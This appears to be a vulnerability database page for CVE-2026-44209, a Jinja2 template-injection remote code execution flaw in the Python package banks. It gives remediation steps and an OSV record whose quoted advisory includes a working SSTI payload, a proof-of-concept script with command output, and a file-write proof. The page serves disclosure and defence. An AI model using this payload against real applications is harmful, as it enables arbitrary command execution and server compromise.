CVE-2026-44209: Banks Remote Code Execution Vulnerability
HIGHCVE-2026-44209 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Banks libraries in the PyPI ecosystem. The issue involves banks has critical remote code execution (rce) via jinja2 ssti. Remediation is available by upgrading affected packages to version 2.4.2.
CVE-2026-44209 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-44209
To remediate this vulnerability, upgrade all affected Banks dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install banks>=2.4.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show banks
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-44209, inspect your installed packages using pip:
pip show banks
Analyze the terminal output to locate any version of Banks in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.4.2), your application is affected.
Note: The pip show banks command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Banks, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44209 Affected Banks Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
banks
|
PyPI |
< 2.4.2
|
2.4.2
|
References
Frequently Asked Questions
What is CVE-2026-44209?
Which Banks versions are affected?
What version fixes CVE-2026-44209?
Is banks affected?
What is the CVSS score of CVE-2026-44209?
What CWE is associated with CVE-2026-44209?
How can I check PyPI dependencies for CVE-2026-44209?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gphh-9q3h-jgpp",
"modified" : "2026-06-08T23:29:16Z",
"published" : "2026-05-08T20:36:22Z",
"aliases" : [ "CVE-2026-44209" ],
"summary" : "banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI",
"details" : "## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text() # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm — identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "banks"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.4.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.4.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44209"
}, {
"type" : "WEB",
"url" : "https://github.com/masci/banks/pull/74"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/masci/banks"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-08T20:36:22Z",
"nvd_published_at" : "2026-05-26T21:16:37Z"
}
}